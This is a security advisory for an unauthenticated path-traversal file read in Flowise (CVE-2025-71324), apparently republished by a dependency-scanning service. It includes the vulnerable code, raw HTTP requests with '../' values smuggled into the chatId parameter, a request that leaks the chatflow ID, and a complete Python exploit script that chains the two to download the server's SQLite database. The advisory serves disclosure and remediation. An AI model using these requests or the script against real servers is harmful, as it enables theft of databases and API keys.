GHSA-99pg-hqvx-r4gf CVE-2025-71324
Flowise has an Arbitrary File Read
- Severity
- 8.7 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- 1.57%
- Chance of exploitation in the next 30 days. Higher than 75.37% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
- Fix
3.0.6- Upgrade flowise to this version or later
Description
Summary
An arbitrary file read vulnerability in the chatId parameter supplied to both the /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints allows unauthenticated users to read unintended files on the local filesystem. In the default Flowise configuration this allows reading of the local sqlite db and subsequent compromise of all database content.
Details
Both the /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints accept the chatId parameter and pass this to a subsequent call to streamStorageFile().
const chatflowId = req.query.chatflowId as string
const chatId = req.query.chatId as string
const fileName = req.query.fileName as string
...
const fileStream = await streamStorageFile(chatflowId, chatId, fileName, orgId)
While streamStorageFile validates that the chatflowId is a UUID and strips traversal sequences from fileName, it performs no validation of chatId.
// Validate chatflowId
if (!chatflowId || !isValidUUID(chatflowId)) {
throw new Error('Invalid chatflowId format - must be a valid UUID')
}
// Check for path traversal attempts
if (isPathTraversal(chatflowId)) {
throw new Error('Invalid path characters detected in chatflowId')
}
...
const sanitizedFilename = sanitize(fileName)
...
const filePath = path.join(getStoragePath(), orgId, chatflowId, chatId, sanitizedFilename)
There is validation that the resulting filePath is restricted to the /root/.flowise/storage directory.
if (!filePath.startsWith(getStoragePath())) throw new Error(`Invalid file path`)
However, if the file is not found in the specified path, the orgId value is removed from the filePath and reattempted.
if (fs.existsSync(filePath)) {
return fs.createReadStream(filePath)
} else {
// Fallback: Check if file exists without orgId
const fallbackPath = path.join(getStoragePath(), chatflowId, chatId, sanitizedFilename)
if (fs.existsSync(fallbackPath)) {
// Create directory if it doesn't exist
const dir = path.dirname(filePath)
if (!fs.existsSync(dir)) {
fs.mkdirSync(dir, { recursive: true })
}
// Copy file to correct location with orgId
fs.copyFileSync(fallbackPath, filePath)
// Delete the old file
fs.unlinkSync(fallbackPath)
// Clean up empty directories recursively
_cleanEmptyLocalFolders(path.join(getStoragePath(), chatflowId, chatId))
return fs.createReadStream(filePath)
As this fallback path is read after the /root/.flowise/storage check, this allows an additional level of traversal up to /root/.flowise/. As a result, this allows reading of /root/.flowise/database.sqlite, which contains all database content in the default Flowise configuration.
REQUEST
GET /api/v1/get-upload-file?chatflowId=188903b1-d06d-4f93-9415-400015b87146&chatId=../.././&fileName=database.sqlite HTTP/1.1
Host: 127.0.0.1:3000
RESPONSE
HTTP/1.1 200 OK
Vary: Origin
Access-Control-Allow-Credentials: true
Content-Disposition: attachment; filename="database.sqlite"
Date: Tue, 22 Jul 2025 06:43:51 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 385024
SQLite format 3���@ ���6���^���A������Õ�������������������������������������������������6�.r¢ö�Ú����ZûìñæàÚÛ �Ïl
ÍS=*''���������������������������������������������������������������������������������������������������������������������������������������������;,O)�indexsqlite_autoindex_docume
...
Similarly, for /api/v1/openai-assistants-file/download:
REQUEST
POST /api/v1/openai-assistants-file/download HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Content-Length: 100
{"chatflowId":"c5c63474-e757-4fca-a504-d54e84c309bb","chatId":"/../..","fileName":"database.sqlite"}
RESPONSE
HTTP/1.1 200 OK
Vary: Origin
Access-Control-Allow-Credentials: true
Content-Disposition: attachment; filename="database.sqlite"
Date: Tue, 22 Jul 2025 08:55:25 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 385024
SQLite format 3���@ ���6���^���A������Õ�������������������������������������������������6�.r¢ö�Ú����ZûìñæàÚÛ
...
This includes all API keys used by the application (apiKey table), which can be used to gain administrative access.
As the fallback logic attempts to move the file to the initially checked directory, this results in the server permanently being unable to make new read or write operations until the file is moved and the server is restarted.
Interaction with these endpoints requires knowledge of a valid chatflowId. As a UUID, this is inherently unguessable. However, the /api/v1/vector/upsert/ endpoint can be used without a chatflowId, defaulting to the first ID available. This endpoint returns a verbose error when receiving a malformed filename, revealing the full internal file path and the associated chatflowId.
REQUEST
POST /api/v1/vector/upsert/ HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 172
Connection: keep-alive
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="files"; filename="?"
Content-Type: text/plain
------WebKitFormBoundary7MA4YWxkTrZu0gW--
RESPONSE
HTTP/1.1 500 Internal Server Error
Vary: Origin
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
Content-Length: 240
ETag: W/"f0-khSyqlT3NYLMJGjdchTl6Iwqe4U"
Date: Tue, 22 Jul 2025 08:14:20 GMT
Connection: keep-alive
Keep-Alive: timeout=5
{"statusCode":500,"success":false,"message":"Error: vectorsService.upsertVector - EISDIR: illegal operation on a directory, open '/root/.flowise/storage/07b5d2bd-9b5c-4de3-b234-4fe4357051c9/188903b1-d06d-4f93-9415-400015b87146'","stack":{}}
In this case the UUID is revealed as 188903b1-d06d-4f93-9415-400015b87146, which can then be used to exploit the file read vulnerability.
PoC
Run Flowise:
docker run --rm -p 3000:3000 flowiseai/flowise
Complete install & create a Chatflow: <img width="575" height="299" alt="image" src="https://github.com/user-attachments/assets/1a34e809-b9b3-48a1-93b4-8dafccf87e3b" />
Save this script to read.py:
import argparse
import re
import requests
def read_file(url, file_path, proxy):
base_url = url
proxies = {'http': proxy, 'https': proxy} if proxy else None
print(f">> starting exploit against {base_url}")
if proxy:
print(f">> using proxy: {proxy}")
try:
print("[*] step 1: leaking chatflowid")
initial_headers = {}
files = {'files': ('?', 'asdf', 'text/plain')}
response = requests.post(f"{base_url}/api/v1/vector/upsert/", files=files, headers=initial_headers, timeout=10, proxies=proxies)
chatflow_id_matches = re.findall(r'([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})', response.json().get("message", ""))
if len(chatflow_id_matches) < 2:
print("[-] failed to leak chatflowid.")
return
chatflow_id = chatflow_id_matches[1]
print(f"[+] got chatflowid: {chatflow_id}")
print(f"[*] step 2: reading file: {file_path}")
internal_headers = {'x-request-from': 'internal'}
params = {'chatflowId': chatflow_id, 'chatId': '/../../', 'fileName': file_path}
response = requests.get(f"{base_url}/api/v1/get-upload-file", params=params, headers=internal_headers, timeout=10, proxies=proxies)
if response.status_code != 200:
print(f"[-] failed to read file (status: {response.status_code}).")
print(response.text)
return
file_content = response.text
print(f"[+] successfully read file ({len(response.content)} bytes).")
print("\n--- file content ---")
print(file_content)
print("--------------------\n")
except requests.exceptions.RequestException as e:
print(f"\n[-] an unexpected error occurred: {e}")
except Exception as e:
print(f"\n[-] an unexpected error occurred: {e}")
return
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Read arbitrary files")
parser.add_argument("-u", "--url", type=str, required=True, help="target base url (e.g., http://127.0.0.1:3000)")
parser.add_argument("-f", "--file", type=str, required=True, help="path of the file to read on the server (e.g., database.sqlite)")
parser.add_argument("-x", "--proxy", type=str, help="proxy to use (e.g., http://127.0.0.1:8080)")
args = parser.parse_args()
read_file(args.url, args.file, args.proxy)
Run the script against http://127.0.0.1:3000:
python3 read.py -u http://127.0.0.1:3000 -f database.sqlite
>> starting exploit against http://127.0.0.1:3000
[*] step 1: leaking chatflowid
[+] got chatflowid: c5c63474-e757-4fca-a504-d54e84c309bb
[*] step 2: reading file: database.sqlite
[+] successfully read file (385024 bytes).
--- file content ---
ÕÇêS=*'';,O)indexsqlite_autoindex...
Impact
This allows any unauthenticated user to extract all database content from a default installation of Flowise. This includes API keys, which can be used to gain administrative access.
Affected versions
npm
| Package | Vulnerable | Fixed in |
|---|---|---|
| flowise | >= 3.0.5, < 3.0.6 |
3.0.6 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
flowise npm → 3.0.6
- npm
npm install flowise@3.0.6- yarn
yarn add flowise@3.0.6- pnpm
pnpm add flowise@3.0.6
Severity breakdown
CVSS 4.0 8.7
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- None
- Availability (vulnerable system)
- None
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
- Exploit maturity
- Not defined
- Scope
- X
CVSS 3.1 9.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- None
- Availability
- High
Weakness
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
How to prevent it
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
- Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
- Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
- Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
- Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-w7x8-q2gp-5cgg Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass | Critical | Also affects flowise |
| GHSA-9gvv-qjj3-2p6g Flowise NodeVM sandbox escape via puppeteer allowlist - authenticated RCE and arbitrary file read via Chromium | High | Also affects flowise |
| GHSA-qgvm-j2hm-6m38 Flowise: Unauthenticated OAuth2 token refresh endpoint returns access tokens — enables token theft for any connected service | Critical | Also affects flowise |
| GHSA-5xvg-pmgg-3mxr Flowise: CSV Agent Prompt Injection Remote Code Execution Vulnerability | Critical | Also affects flowise |
| GHSA-gmmw-qg98-6j6p Flowise: Broken Access Control in Stripe Subscription Endpoints Allows Cross-Tenant Billing Manipulation | High | Also affects flowise |
| GHSA-8gj2-2cvc-6xx7 Flowise: Unauthenticated Credential Abuse via Text-to-Speech Endpoint Allows Unauthorized Use of Private Chatflow TTS Credentials | Medium | Also affects flowise |
| GHSA-fm2f-4339-4p2f Flowise: Missing Authorization on Execution Update Endpoint | Medium | Also affects flowise |
| GHSA-wch5-xp77-fxg4 Flowise: Cross-Workspace OAuth2 Credential Metadata Leak | High | Also affects flowise |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor